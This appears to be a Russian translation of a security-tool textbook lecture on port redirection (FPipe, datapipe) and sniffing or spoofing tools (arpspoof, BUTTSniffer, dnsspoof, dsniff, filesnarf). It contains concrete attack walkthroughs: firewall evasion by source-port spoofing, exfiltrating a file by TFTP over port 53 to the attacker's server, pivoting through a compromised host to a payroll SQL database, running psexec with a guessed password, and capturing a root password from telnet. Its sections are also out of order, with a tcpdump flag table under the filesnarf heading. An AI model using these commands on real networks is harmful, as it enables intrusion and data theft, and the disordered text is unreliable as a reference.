C:\>fpipe -h -?/-h - shows this help text (показывает этот текст справки) -c - maximum allowed simultaneous TCP connections. Default is 32 (максимальное разрешенное количество одновременных TCP-подключений. Значение по умолчанию - 32) -i - listening interface IP address (IP-адрес прослушиваемого интерфейса) -l - listening port number (номер порта прослушивания) -r - remote port number (номер удаленного порта) -s - outbound source port number (выходящий номер порта отправителя) -u - UDP mode (режим UDP) -v - verbose mode (многословный режим)
В качестве простой утилиты перенаправления порта FPipe работает подобно datapipe:
$./datapipe 9080 80 www.google.com
Ниже приводится эквивалентный вызов утилиты FPipe:
C:\>fpipe -l 9080 -r 80 www.google.com Pipe connected: In: 127.0.0.1:1971 --> 127.0.0.1:9080 Out: 192.168.0.184:1972 --> 216.239.33.101:80
В отличие от datapipe, утилита FPipe работает не в фоновом режиме. Она будет продолжать сообщать о подключениях, пока вы не нажмете сочетание клавиш CTRL-C. Заметьте, что FPipe также указывает равноправные IP-адрес и номер порта отправителя каждого подключения. Параметр -s утилиты FPipe позволяет использовать преимущества более детальной спецификации портов.
C:\>fpipe -l 139 -r 139 -s 88 192.168.97.154
Этот пример сначала может показаться тривиальным. В конце концов, какая польза от перенаправления одного порта NetBIOS на другой? Ценность заключается в том, что весь SMB-трафик после перенаправления порта имеет номер порта отправителя - 88. Подобная уловка, связанная с портом отправителя, позволяет обойти неверно сконфигурированные брандмауэры. Другие хорошие порты отправителя, которые можно попробовать использовать для этих целей, имеют номера 20, 25, 53 и 80. В разделе "Пример из жизни. Пакетные фильтры, порты и проблемы" далее в этой лекции рассказывается, почему изменение номера порта отправителя позволяет обходить правила сетевого доступа.
Параметр -i становится полезным на компьютерах с несколькими сетевыми адаптерами (multi-homed system), когда вы хотите указать определенный интерфейс для прослушивания.
C:\>fpipe -l 80 -r 22 -i 10.17.19.42 192.168.97.154
Такая функция весьма полезна на Web-серверах. Например, Web-сервис IIS-сервера может быть связан с определенным адаптером, но порт 80 разрешен для всех интерфейсов. Установите FPipe на прослушивание одного из других интерфейсов, и порт 80 будет ваш.
Примечание. В отличие от системы Unix, Windows не требует привилегированного доступа для открытия сокета на зарезервированном порту (это номера портов ниже 1024). В системе Unix только учетные записи, эквивалентные привилегированному доступу (root), могут открыть порт 80.
Пример из жизни. Перенаправление портов
Инструменты перенаправления портов процветают за счет широкого применения техники Port Hopping. Используйте средства перенаправления портов, чтобы создать альтернативные порты для установленного сервиса на локальном хосте localhost, переадресуйте запросы, идущие к локальному хосту на альтернативный сервер и проложите подключения через брандмауэр.
Локальные перенаправления. Программные средства перенаправления портов могут использоваться для назначения сервису альтернативного порта. Для администраторов Unix этот совет звучит как бесполезный, неэлегантный шаг. В конце концов, порт прослушивания для большинства сервисов Unix можно изменить в текстовом файле. В системах Windows единственное спасение - изменить установку системного реестра, если она существует, или использовать утилиту перенаправления портов. Например, нетрудно изменить порт прослушивания для сервера терминалов Windows (Windows Terminal Server), модифицировав установку системного реестра или использовав утилиту FPipe:
C:\>fpipe -l 22 -r 3389 localhost
Это позволяет вам открыть единственный порт на брандмауэре для удаленного администрирования ваших систем SSH и сервера терминалов (Terminal Server), назначая обоим сервисам один и тот же порт.
Если вы предпочитаете использовать для шлюза систему Linux, вы могли бы установить правило перенаправления портов в iptables для сервера терминалов, находящегося позади шлюза. В качестве альтернативы используйте утилиту datapipe, чтобы переслать входящие подключения на порт с номером 3389 к серверу терминалов.
$./datapipe 3389 3389 172.16.19.12
Переадресация клиента. Мы уже демонстрировали перенаправление портов для Web-клиента. Более насущный пример - это использование перенаправления порта для предварительно скомпилированных средств атаки (exploit). Программа взлома позволяет пользователю самому выбирать и указывать адрес цели (IP-адрес), но не всегда позволяет выбирать порт. Пусть spork - программа взлома IIS для атаки через порт 80. Во время сканирования утилитой nmap вы обнаруживаете IIS-сервер, использующий порт 7070. Инструмент перенаправления портов решает проблему несоответствия портов. Из двух методов, приведенных ниже, выберите тот, который подходит для вашей системы:
C:\>fpipe -l 80 -r 7070 www.target.com $ ./datapipe 80 7070 www.target.com
Затем выполните программу spork для взлома локального хоста localhost. Она предполагает, что портом назначения является порт 80. Утилита FPipe (или datapipe) принимает подключение к порту 80 и затем пересылает данные на порт 7070 на узле www.target.com.
C:\>spork localhost
Эта методика также используется, чтобы обойти ограничения брандмауэра. Например, вслед за наплывом вирусов-червей IIS в 2001 г., находчивые администраторы блокировали выходящие (outbound) запросы к UDP-порту 69 (сервис TFTP - Trivial FTP). Попробуйте использовать режим UDP утилиты FPipe, чтобы перенаправить TFTP-запросы через UDP-порт 53, обычно зарезервированный для DNS-трафика. В системах Windows клиент TFTP не разрешит вам указать альтернативный порт назначения. Следовательно, вы должны установить локальное перенаправление порта для TFTP-клиента, переправив запросы к вашему модифицированному TFTP-серверу. Не забудьте указать параметр -u для режима UDP:
C:\>fpipe -l 69 -r 53 -u 192.168.0.116 C:\>tftp -i localhost PUT researchdata.zip
Ваш собственный TFTP-сервер прослушивает UDP-порт 53 на хосте 192.168.0.116. Эти две команды выполнены с сервера позади брандмауэра, а файл researchdata.zip загружен в удаленный компьютер - и все это с использованием порта, обычно ассоциирующегося с разрешением имен.
Двойная переадресация. Этот сценарий задействует четыре хоста: A, B, C и D. Хосты A и B - собственные системы взломщика. Другими словами, никакие программы взлома не потребовались для получения доступа к этим хостам. Хосты C и D - системы жертвы, отделенные от взломщика брандмауэром. Хост C является Web-сервером. Хост D, конечная цель атаки, является базой данных SQL. Этот сценарий должен продемонстрировать, как единственно уязвимое место на Web-сервере может быть использовано для расширения возможностей его дискредитации. Взломщик способен просматривать произвольные файлы на Web-сервере, включая файл, который содержит имя пользователя базы данных и его пароль. Взломщик может даже выполнять произвольные команды на Web-сервере. Однако база данных была чрезвычайно хорошо защищена, ведь она содержит информацию, касающуюся кредитных карточек. Поэтому открыты были только порты 445 (SMB) и 1433 (SQL).
Следующая иллюстрация дает общее представление о сети, которая является целью для взлома.
Хост A является системой Windows 2000 с клиентом управления базой данных Microsoft SQL. Клиент SQL, в конечном счете, соединится с базой данных SQL, расположенной на хосте D.
Хост B выполняет утилиту FPipe. Этот хост не обязан быть отдельным физическим хостом. В системе Windows есть SQL-клиенты и утилита FPipe, в то время как в Linux - SQL-клиенты и утилита datapipe. Хост B мог бы даже быть виртуальной системой VMware. Обратите внимание, что можно назначить альтернативный порт получателя в клиенте SQL, но мы должны использовать трюк с портом отправителя!
Брандмауэр разрешает выход в сеть для FTP, электронной почты и Web-сервисов через TCP-порты 21, 25 и 80.
Хост C представляет собой комбинацию FTP и почтового сервера, защищенных брандмауэром. Представьте себе, что на хосте C выполняется уязвимая версия WU-FTPD, которая допускает привилегированный доступ (root) из командной строки (это, действительно, реальная уязвимость). Чтобы сработала такая атака, должна существовать какая-нибудь уязвимость на сервере позади брандмауэра, которая дает нам возможность выполнить утилиту перенаправления порта. Еще раз, перенаправление порта - это метод, позволяющий обойти ограничения доступа к порту. Соответствующий программный код не является кодом атаки (exploit code).
Просматривая Web-сервер, мы обнаруживаем файл database.inc, который содержит строку подключения для IIS для связи с базой данных, хост D:
strDB = "Provider=SQLOLEDB;Data Source=financedb;Initial Catalog=Payroll; User Id=sa;Password=""
Хост D представляет собой систему Windows 2000, выполняющую SQL сервер 7.0. Эта система является нашей целью. Мы обнаруживаем строку подключения с Web-сервера, но мы не имеем никакого доступа к порту управления базой данных, 1433.
Нападение требует двух перенаправлений порта. Хост B прост. Мы только прослушиваем заданный по умолчанию SQL-порт и перенаправляем трафик нашему дискредитированному хосту, расположенному позади брандмауэра:
Host B: c:\> fpipe -l 1433 -r 80 <Host C>
Хост C требует некоторого размышления. Брандмауэр разрешает использовать порты 21, 25 и 80. К сожалению, портам 21 и 25 уже назначены сервисы. Мы не можем назначать два различных сервиса (FTP и datapipe, например) одному и тому же порту.
К счастью, в сети имеется Web-сервер, так что брандмауэр разрешает также использование порта 80. Мы будем прослушивать этот порт.
Host C: $ ./datapipe 80 1433 <Host D>
Далее, хост A открывает SQL-клиент и обращается к хосту B через порт 1433. Хост B переправляет это подключение на порт 80 на хосте C, который в свою очередь переправляет подключение к порту 1433 на хосте D. Готово! Произошло законченное SQL-подключение! Если бы брандмауэр заблокировал HTTP-трафик к хосту C (а такое возможно, так как он не является Web-сервером), то все случившееся было бы невозможно.
Дальнейшее расширение влияния. В предыдущем сценарии мы получили доступ на хост D через SQL-сервер, однако, хост D имел также открытый порт 445. Чтобы выполнить полный аудит системы, можно попробовать применить некоторые инструменты инвентаризации (enumeration), о которых шла речь в лекции "Средства ревизии Windows". Эти программные средства требуют доступа к портам Windows NetBIOS. Для начала можно было бы попробовать использовать утилиту FPipe для прослушивания порта 445 и переправить трафик, идущий через порт 80, но здесь есть загвоздка: Windows 2000 и XP используют порт 445 для NetBIOS и не позволяют этот порт закрывать. С другой стороны, мы не можем иметь два сервиса (FPipe и NetBIOS), назначенных на один и тот же номер порта. Похоже, что мы должны включить сеанс VMware с FreeBSD и использовать утилиту datapipe.
Host B: $ ./datapipe 445 80 <Host C>
Не имеет значения, является ли дискредитированный хост системой Unix или Windows, но на порте 80 нечего прослушивать, кроме нашей утилиты datapipe.
Host C: $ ./datapipe 80 445 <Host D>
До доступа к командной строке остается один шаг. Нам нужны имя пользователя и пароль. Возможно, он создан с помощью MS SQL-процедуры xp_cmdshell с командой net user, а возможно, пароль администратора - просто "password". Тогда мы выполняем утилиту psexec с хоста A через туннель, созданный перенаправлением порта:
Host A: c:\>psexec \\hostB -u administrator -p password "ipconfig /all"
эта строка запускает на выполнение программу ipconfig.exe на хосте D и показывает всю информацию о его сетевом адаптере. Детальную информацию об утилите psexec см. в лекции "Средства ревизии Windows".
Имеются и более простые методы доступа к базе данных SQL, такие как загрузка пакета Samba или SQL-клиента командной строки на дискредитированную систему. Мы только продемонстрировали манипуляцию с портами, которая действует прозрачно между клиентом и сервером, независимо от используемого протокола. На жаргоне Perl это звучит как TMTOWTDI - "There's More Than One Way To Do It!" (Существует не один способ сделать это!)
Пример из жизни. Пакетные фильтры, порты и проблемы
Основные пакетные фильтры разрешают или запрещают сетевой трафик, основываясь на IP-адресах и номерах портов. ipchains системы Linux и маршрутизаторы Cisco (минус "установленные" возможности) являются хорошими примерами устройств фильтрации пакетов. Они исследуют только четыре части TCP/IP-пакета.
IP-адрес отправителя.Порт отправителя.IP-адрес получателя.Порт получателя.
Вы можете создать строгие правила, основанные на этих комбинациях. Например, так как Web-сервер должен получать трафик только через порты 80 и 443, администратор создает правила ipchains для исследования трафика, прибывающего из интернета, и разрешения проходить только такому трафику, который идет к TCP-портам получателя с номерами 80 и 443. При этом, например, доступ к порту получателя с номером 22 (протокол Secure Shell), будет блокирован. Обратите внимание на следующее различие. Если администратор откроет только TCP-порты 80 и 443, возникнет потенциальная проблема: что случится, когда прибывает пакет с порта отправителя с номером 80? Пакет проходит через брандмауэр в зависимости от порядка правил ipchains. Далее, что произойдет, если этот пакет имеет порт отправителя 80 и порт получателя 22? Произойдет неправомочный доступ к командной строке протокола Secure Shell!
Проблемы порта отправителя неожиданно возникают в нескольких службах. Начнем с упоминания службы FTP, которая, вероятно, является наиболее печально известной службой. Подключение FTP начинается прекрасно. Клиент подключается к серверу через порт 21. Затем возникают сложности. Если клиент начинает загружать файл, сервер инициирует передачу данных клиенту через порт 20. Тип пакета, который создает подключение, называется SYN-пакетом (в соответствии с типом флага, который содержит пакет). При передаче данных по FTP, сервер посылает SYN-пакет, и клиент поддерживает подключение. Пакетные фильтры исследуют SYN-пакеты, чтобы применить к ним свои правила. Следовательно, пакетный фильтр может запутаться в том, какая система запустила FTP-подключение, потому что трафик порождается во внутренней сети, а не в интернете. Во многих случаях, администраторы разрешают трафику с порта 20 входить в сеть, но забывают ограничить трафик, входящий на FTP-сервер.
Другими проблематичными службами являются также служба доменных имен DNS (Domain Name System), протокол SMTP (Server Message Transfer Protocol) и протоколы IPsec (Internet Protocol Security) и Kerberos. Службы DNS выполняются через TCP- и UDP-порт 53. Для разрешения имен доменов необходим только UDP-порт (хотя порт TCP иногда используется для поиска в больших пространствах имен). Однако если существует путаница в том, какие хосты требуют разрешения имен, внутренние или хосты интернета, TCP-порт 53 может оказаться открытым для всего мира.
Все пользуются серверами электронной почты и SMTP для уверенности в получении электронной почты. Сервер SMTP использует для получения электронной почты TCP-порт получателя 25, но вполне возможно, что правила брандмауэра по ошибке откроют порт 25 (для отправителя или получателя). Kerberos ни в коем случае не является новым протоколом, его использование возродилось в результате включения его в Windows 2000 подобно Франкенштейну. Теперь системные администраторы Windows могут устанавливать более безопасную зашифрованную связь, используя TCP-порт 88 и протокол IPsec. Порт 88 также подвергается путанице в определении отправителя/получателя.
Используйте параметр -s утилиты FPipe для указания исходящего номера порта отправителя, чтобы воспользоваться ненадежностью порта отправителя. Просто переадресуйте запрос через систему перенаправления порта и определите, отвечает ли удаленная служба. В данном случае, вы не меняете номер порта получателя; вместо этого вы изменяете номер порта отправителя для трафика, входящего в удаленную сеть.
C:\>fpipe -l 3389 -r 3389 -s 20 192.168.0.116
К сожалению, утилита datapipe не поддерживает опцию для изменения порта отправителя, но, по крайней мере, вы имеете исходный код утилиты!
Блокирование переназначений портов представляет собой метод обхода неадекватного управления сетевым доступом. Для системного администратора этот метод должен также иллюстрировать важность стратегии многослойной защиты, то есть применения резервных сетей, хостов и элементов управления приложениями к определенным проблемам защиты.
Вы не можете загрузить и применить заплату для предотвращения перенаправления данных. Но вы можете применять хорошие средства управления сетевым доступом. В отличие от изъянов, специфических для хостов, таких как переполнение буфера, атаки, связанные с перенаправлением данных, эксплуатируют сеть. Следовательно, нужно найти решение на сетевом уровне.
Защита хоста. Очевидно, что если взломщик не может получить доступ к командной строке в системе, инструмент перенаправления порта не может использоваться для обхода списков управления доступом. Часть мантры, повторяемой любым системным администратором, должна быть следующей: "ставь заплаты, конфигурируй, проверяй". Фильтры доступа. Сильный брандмауэр или список управления доступом маршрутизатора должен начинаться с правила "все запрещено". Затем добавляются порты и службы по мере того, как они требуются для деловых целей. Кроме того, порты не должны открываться с доступом типа "карт-бланш". Порты 80 и 443 должны открываться только для Web-серверов, порт 25 нужно открывать только для серверов электронной почты.Выходные фильтры. Открытые серверы типа Web-серверов, всегда получают трафик. То есть Web-сервер не предугадывает, что вы хотите соединиться с ним, и переслать его домашнюю страницу на свой броузер; вы должны обратиться к нему. Из этого, естественно, следует, что Web-сервер никогда не должен устанавливать подключение, выходящее во внешнюю сеть (в интернет). Он должен получать трафик через порт 80, но сетевое устройство должно блокировать любые попытки подключения с Web-сервера на любой хост интернета.
Вы должны также избегать неправильных взаимных правил. Если ваша сеть использует Ipsec-туннелирование по порту TCP 88, вы должны гарантировать, что правила подключений имеют смысл. Например, неверное правило может выглядеть так (в псевдокоде):
allow (src ip ANY) and (tcp port 88)
Это правило позволяет любому пакету с IP-адресом, имеющим порт отправителя или порт получателя с номером 88, входить в сеть. Таким образом, этот набор правил разрешил бы пакету, имеющему порт отправителя 88 и порт получателя 139 (например) пересекать сеть. Корректное правило должно разрешать трафик к Ipsec-порту:
allow (src ip ANY) and (dst tcp port 88)
Помните, что данный тип проблемы также часто обнаруживается в службах FTP, SMTP и DNS.
<
Arpspoof
Мы говорили о том, как сетевые коммутаторы делают прослушивание более трудоемким, потому что коммутатор достаточно интеллектуален: он знает MAC-адреса Ethernet каждой машины на каждом порту, поэтому только машина адресата получает пакет. Однако прослушивание в переключаемых сетях все еще возможно путем фальсификации ARP-ответов для хоста получателя. Arpspoof позволяет это делать.
ARP - это протокол, использующийся для преобразования IP-адресов в MAC-адреса Ethernet. Поскольку ARP-запросы передаются "широковещательно" для всей сети (типа такого: "Эй, вы, которая из ваших Ethernet-карт имеет IP-адрес 192.168.1.100?"), то они всегда будут доходить до всех. Хост, выполняющий Arpspoof, может сообщить подателю ARP-запроса, что искомый IP-адрес у него, даже если на самом деле это не так. Вы можете обмануть хост, подавший ARP-запрос и переключить посылку пакета на себя вместо получателя, которому он предназначался. Затем вы можете сделать копию пакета и использовать механизм пересылки пакета, чтобы отправить пакет его первоначальному адресату подобно ретранслятору.
Использование arpspoof из командной строки следующее: arpspoof host_to_snarf_packets _from (то есть хост, у которого надо перехватить пакет). С помощью опции -i вы можете указать сетевой интерфейс, который надо использовать, а, используя опцию -t, вы можете указать определенные хосты, которые хотите обмануть. По умолчанию, Arpspoof подделывает MAC-адрес хоста, который указан в командной строке (host_to_snarf_packets_from), под все хосты локальной сети (LAN). Наиболее популярным хостом, подверженным ARP-фальсификации в локальной сети, является заданный по умолчанию маршрутизатор. Поскольку весь трафик локальной сети пройдет через маршрутизатор, чтобы добраться до других сетей, то ARP-фальсификация маршрутизатора позволяет вам перехватывать все, посылаемое за пределы локальной сети! Только не забудьте установить пересылку пакетов так, чтобы маршрутизатор все же получил пакет; иначе, вся ваша локальная сеть потеряет свой выход в интернет!
BUTTSNIFFER
После того как мы потратили столько времени, дабы убедить вас, что анализаторы сетевых потоков могут быть респектабельными инструментами, используемыми респектабельными людьми в респектабельных целях, вполне логично, что первый такой инструмент в нашем обсуждении называется BUTTSniffer. Написанный одним из членов хакерской группы Cult of the Dead Cow (Культ мертвой коровы) (наиболее известной своим инструментом Back Orifice, которому BUTTSniffer отдает дань уважения - см. лекцию "Черный ход и средства удаленного доступа"), BUTTSniffer представляет собой автономный, написанный для Windows и управляемый из командной строки, инструмент для анализа сетевых потоков. (Вы можете загрузить его с сайта http://packetstormsecurity.nl/sniffers/buttsniffer.) Это весьма функциональный, но довольно сложный в использовании инструмент, если вы не знакомы с его концепциями. Давайте преодолеем этот барьер.
Диалоговый режим
Мы начнем с диалогового режима, потому что он сделан с расчетом на новичков. Командная строка для диалогового режима просит вас указать номер устройства (для интерфейса, который вы хотите прослушивать) и порт. Теперь речь идет совсем не о том порте, о котором вы думаете. Вас спрашивают не о том, на каком порте вы хотите прослушивать трафик; вас просят, чтобы вы обеспечили доступный порт, с которым может связываться демон. Диалоговый режим устанавливает демона на указанном порте, скажем на порте 8888 (вы вводите buttsniff -i 0 8888). Затем вы можете напечатать telnet localhost 8888 в приглашении на ввод команды, и будете связаны с демоном. Вы должны увидеть главное меню диалогового режима программы BUTTSniffer со следующими опциями.
увеличить изображение
Monitor Connections. Первая опция, Monitor Connections (Прослушивание подключений), делает только то, что обозначено в названии. Любые IP-сеансы, которые ретранслируются, проходят мимо или через интерфейс, который мы наблюдаем (в нашем примере командной строки это интерфейс с номером устройства 0), должны здесь показываться. Мы можем исследовать эту опцию, открывая несколько Web- и telnet-подключений, и наблюдать, что получается в результате. Выберите Monitor Connections и нажмите клавишу ENTER.
увеличить изображение
Мы видим telnet и несколько Web-сеансов с моим IP-адресом. Если мы прокрутим список до определенного подключения, мы можем прослушивать это подключение. Здесь мы прослушиваем сессию telnet.
увеличить изображение
Вывод информации выглядит не очень привлекательно, но если вы внимательно посмотрите, то сможете увидеть, что мы только что перехватили пароль привилегированного (root) пользователя в этом блоке (guessme). Нажатия клавиши пользователя отображены в нижней части экрана, а вывод от команд выведен в верхнюю часть. После того как пользователь напечатал su, он напечатал также пароль привилегированного пользователя guessme. Как видно из вывода в верхней части экрана, он успешно получил привилегированный доступ.
Если вы посмотрите вниз экрана, то увидите некоторые опции отображения, которые можно выбирать. Опция Full Screen (Весь экран) особенно полезна, если вас интересует только то, что печатает пользователь.
Помните заявление о том, что никто больше не должен пользоваться утилитой telnet? Причина как раз в этом. С помощью такого инструмента весь ваш трафик может читаться любым, кто сможет вклиниться между вами и вашим адресатом. Теперь взгляните на результат прослушивания SSH-сеанса в ответ на точно такие же действия и команды.
увеличить изображение
Не очень полезный результат, не так ли? Тем не менее, мы все еще можем наблюдать любой незашифрованный трафик, прибывающий на нашу машину или покидающий ее.
Password Sniffer. Мы сумели перехватить пароль в сессии telnet, но опция Password Sniffer ищет только попытки входа в систему и пытается перехватывать любые имена пользователя и пароли, которые проходят в открытом виде. В следующем примере пользователь связывается с Originix с помощью telnet как пользователь "bob", а затем становится привилегированным пользователем. BUTTSniffer достаточно умен, чтобы выделить начальный вход в систему со словом "bob", потому что это начало подключения, но он не будет подбирать su привилегированного пользователя. Это означает, что мы все еще должны были бы вести наблюдение с использованием режима Monitor Connections, чтобы подобрать пароль. Многие системы не позволят вам использовать telnet для привилегированного пользователя.
увеличить изображение
Диалоговый режим довольно легко использовать, но в нем нигде не делается запись каких-либо из полученных данных. Вы узнаете, как это делать, когда мы опишем режим дампа на диск в разделе "Режим Disk Dump" в этой лекции.
Configure. Что, если вы оказались на машине, которая сильно перегружена сотнями подключений, происходящих в одно и то же время? Как бы вы смогли рассортировать весь этот "шум" и найти информацию, которую ищете?
Эта опция меню позволяет устанавливать фильтры для диалогового режима.
Она заставляет BUTTSniffer наблюдать только за определенными видами сетевого трафика, идущего к или от определенных хостов. Важно понять, как эти фильтры работают, потому что мы будем определять их в текстовых файлах, когда перейдем к следующему режиму программы (дамп на диск).
Основная цель опции Configure - включить фильтры. На следующей иллюстрации обратите внимание, что мы сначала задаем исключение всех IP-адресов (*.*.*.*), а затем включаем только 192.168.1.100. Способ работы программы BUTTSniffer таков, что по умолчанию он включает все, что только возможно. Прежде чем вы сможете определить, на каких хостах и портах вы хотите сосредоточиться, нужно исключить те, которые вас не интересуют.
увеличить изображение
Внутри этой опции имеется еще две возможности. Сначала мы можем выбирать прослушивание только допустимых TCP-подключений. Необычные подключения (подобные тем, которые делают проходы сканеров nmap stealth, когда просматривают сетевые порты) будут игнорироваться. Вторая опция, War Mode (Военный режим), является переключением на применение этого анализатора сетевых потоков в качестве дополнительного модуля (plug-in) к хакерскому закулисному пакету Back Orifice. Хотя BUTTSniffer первоначально предназначался для того, чтобы помогать контролировать сетевой трафик на собственном блоке Windows, привлечение режима War Mode позволяет пользователю захватывать некоторые сетевые подключения и сбрасывать их, срывая работу неосведомленных пользователей системы.
Совет. Если вы хотите удостовериться, что никто не разместил на вашей системе BUTTSniffer в диалоговом режиме, используйте некоторые из инструментальных средств, о которых мы говорили в предыдущих лекциях. В местном масштабе утилита netstat (лекции "Системные средства с открытым программным кодом: основы" и "Компоновка и использование набора инструментов для расследования хакерских атак...") сообщит вам, что порты TCP открыты и прослушиваются на вашем блоке Windows. Если вы видите что-то, чего не можете распознать, свяжитесь с ним с помощью утилиты telnet и посмотрите, что произойдет.В удаленном масштабе сканеры портов типа nmap или SuperScan (лекция "Сканеры портов") могут идентифицировать необычные TCP-порты. Так как некоторые из этих инструментальных средств могут фактически захватывать баннеры с портов, то вы получите связку мусора с порта демона программы BUTTSniffer. Вы можете применить telnet непосредственно к этому порту, чтобы подтвердить его присутствие.
Dnsspoof
Этот инструмент работает подобно Arpspoof. Он позволяет подделывать DNS-ответы для DNS-сервера локальной сети. Поскольку DNS выполняется по протоколу пользовательских дейтаграмм (UDP), не требующему установки соединения, то DNS-клиент сделает запрос и будет ожидать ответа. Инструмент dnsspoof просто подделает ответ (сообщая клиенту, что имя хоста оказалось соответствующим его IP-адресу) и попытается получить информацию прежде, чем прибудет реальный ответ от соответствующего DNS-сервера. dnsspoof может подделывать ответы для всех DNS-запросов, которые он получает. Вы также можете создать файл в формате hosts(5) (с именем spoofhosts, например) для преобразования только определенных имен в ваш локальный IP-адрес, а затем выполнить утилиту dnsspoof с опцией f spoofhosts, чтобы подделывать результат преобразования только для определенных имен.
Кроме той же самой опции i, которую Arpspoof принимает для определения сетевого интерфейса, единственным дополнительным параметром, который принимает dnsspoof, является выражение для фильтра перехватываемых пакетов, аналогичное используемому в tcpdump. Инструмент dnsspoof будет использовать это выражение для поиска какого-нибудь DNS-трафика, где он мог бы подделывать ответы на любые входящие запросы в локальную сеть, которую он может видеть. Если вы сначала используете Arpspoof для подделки MAC-адреса DNS-сервера, которому предназначался запрос, то можете быть уверенны, что dnsspoof будет всегда получать DNS-запросы для локальной сети (LAN) и будет всегда способен дать в ответ фальсифицированный результат отображения имен хоста/IP-адреса.
Дополнительные модули к программе snort (Plug-In)
Другое свежее дополнение к инструменту Snort содержит модули, расширяющие ее функциональные возможности. Snort включает два главных типа плагинов: предпроцессоры и модули вывода.
Другие предпочтения
Ethereal имеет несколько заданных по умолчанию характеристик, которые вы можете изменять, включая предпочитаемый протокол, макет графического интерфейса, и разрешение имен. Вы можете видеть список поддерживаемых протоколов, щелкая правой кнопкой мыши на любой характеристике пакета. Выберите опции Match (Установить соответствие) и Prepare (Подготовить), чтобы фильтровать пакеты на основе определенных характеристик. Выберите Match, если вы хотите создать и применить фильтр, основанный на соответствии, которое вы определите, или Prepare, если вы хотите только посмотреть инструкцию, созданную для фильтра, и возможно, изменить ее самостоятельно. Можете изменить так же способ форматирования данных и напечатать их. Возможности кажутся бесконечными.
Dsniff
Утилита dsniff представляет собой совокупность бесплатных инструментальных средств, которые первоначально были написаны для тестирования сети и возможностей проникновения в нее, но они могут использоваться и в неправедных целях для прослушивания и похищения чужой информации.
Инструмент dsniff представляет собой перехватчик паролей (password sniffer), который распознает несколько различных протоколов, включая telnet, FTP, SMTP, POP (Post Office Protocol), IMAP (Internet Message Access Protocol), HTTP, CVS, Citrix, SMB (Server Message Block), Oracle и многие другие. В то время как другие анализаторы и перехватчики сетевых пакетов, подобные Ethereal, дают вам тонны дополнительной информации о подключении и об индивидуальных пакетах, инструмент dsniff используется в случае, если вас интересуют только имена пользователей и пароли. Инструмент весьма эффективен. Он сохраняет только "полезную" информацию в выходном файле Berkeley DB.
Флаги командной строки. Следующая таблица содержит опции флагов командной строки и пояснения к ним.
-c | Включает полудуплексное ассемблирование TCP-потока, чтобы обеспечить корректную операцию прослушивания при использовании Arpspoof. |
-d | Запускает режим отладки. |
-f <file> | Загружает совокупность условий (то есть, типов служб для перехвата паролей) из файла с форматом /etc/services. |
-i <if> | Использует определенный сетевой интерфейс. |
-m | Использует файл dsniff.magic, чтобы попытаться автоматически определить протокол, используя характеристики, определенные в файле magic. |
-n | Не выполняет поиска хостов. |
-r <file> | Читает перехваченные данные из предварительно сохраненного сеанса (см. -w). |
-s <len> | Перехватывает, по крайней мере <len> (количество байтов) первых байтов пакета, что полезно, если информация об имени пользователя и пароле приходит после 1024-байтового предела, который задан по умолчанию. |
-t <trigger> | Загружает разделенный запятыми набор триггеров, используя формат port/proto=service; например, по команде dsniff -t23/tcp=telnet, 21/tcp=ftp, 110/tcp=pop3 будет перехвачен пароль для сеансов telnet, FTP и SMTP. |
-w <file> | Записывает перехваченные данные в двоичный файл для последующего анализа (см. -r). |
Использование и вывод. Единственным дополнительным параметром, который может принимать dsniff является выражение для пакетного фильтра, использующегося в tcpdump так, чтобы вы могли определить, на какие хосты переданные или с каких хостов отправленные пароли вы хотите перехватить.
Ethereal
Инструмент Ethereal представляет собой хороший графический внешний интерфейс к файлам перехваченных пакетов, созданным несколькими различными перехватчиками пакетов (packet sniffers), включая tcpdump и WinDump. Он имеет также свои собственные "живые" способности перехвата пакетов, использующие библиотеку pcap. Применяя Ethereal к предварительно созданным файлам перехваченных данных, вы можете рассматривать детали зафиксированного сеанса, включая данные пакета.
Инструмент Ethereal доступен как для Windows, так и для Unix-систем и его можно загрузить с сайта http://www.ethereal.com/. Для его работы требуется библиотека pcap. Также необходимо иметь установленную библиотеку GIMP Toolkit (GTK), потому что инструмент использует GTK для своего графического интерфейса. Пользователям Windows повезло, поскольку DLL-файлы GTK теперь поставляются в двоичном коде. За исключением опций установки инструмента, сама установка для обеих операционных систем достаточно похожа. Поскольку мы уже описали установку этих инструментов для Unix и Windows в предыдущих разделах, то перейдем сразу к более интересной части.
Примечание. Ethereal состоит из нескольких встроенных инструментальных средств, которые должны устанавливаться по умолчанию и в Windows и в Unix. Путем выбора вы можете пропускать инсталляцию некоторых из этих компонентов, но мы рекомендуем включить все.
Filesnarf
tcpdump может использоваться для прослушивания NFS-трафика. Инструмент filesnarf, фактически, может взять перехваченный файл и повторно собрать его на вашей системе. В любое время, когда кто-то передает файл по сети, используя NFS, вы можете перехватить его копию, даже если экспорт NFS вам не доступен.
И снова, вы можете использовать опцию -i, чтобы указать сетевой интерфейс. В командной строке вы можете также указать выражение пакетного фильтра, как в tcpdump, чтобы использовать его для прослушивания соответствующего NFS-трафика и шаблона файла (перехватить только *.conf-файлы или файлы с именем passwd). Если вы хотите перехватить все файлы кроме некоторых (скажем, вы хотите перехватить все, кроме файлов MP3), вы можете инвертировать соответствующий шаблон файла, используя опцию -v следующим образом.
filesnarf -v '*.mp3'
Флаги командной строки: форматирование вывода и переключение опций
Теперь давайте перейдем к рассмотрению более важных флагов и опций, описанных в таблице 14.2.
-a | Разрешает IP-адреса к именам хостов. |
-c <num> | Прослушивает до тех пор, пока мы не получили <num> пакетов, а затем выходит. |
-d, -dd, -ddd | Берет фильтр, который вы указали в командной строке и, вместо прослушивания, выводит пакеты, код которых соответствует этому фильтру, в скомпилированном ассемблерном коде, фрагментах программы на языке C, или в десятичном представлении. Используется главным образом для отладки и редко полезен для новичков и пользователей среднего уровня. |
-e | Отображает заголовок канального (link-level) уровня. Например, если вы находитесь в сети Ethernet, вы можете отображать Ethernet-заголовки своих пакетов. Опция полезна, если вы интересуетесь низкоуровневыми деталями определенной части сетевого трафика (например, определением MAC-адреса другой машины). |
-F <file> | Определяет выражение для фильтра из файла вместо командной строки. |
-i | Прослушивает определенный интерфейс. В системе Unix вы можете использовать ifconfig, чтобы увидеть доступные сетевые интерфейсы. В Windows вы можете использовать windump-D, чтобы найти номер интерфейса, который соответствует интересующему вас сетевому интерфейсу. |
-l | Осуществляет буферизацию строк, использующуюся в стандартном выводе tcpdump, так что вы можете просматривать файл постранично. Без этой опции, перенаправление вывода будет препятствовать печати любого вывода до выхода из утилиты tcpdump. |
-n | Не разрешает IP-адреса к именам хостов. |
-N | Подавляет печать FQDN хоста (полностью квалифицированное имя домена), используя только имя хоста. |
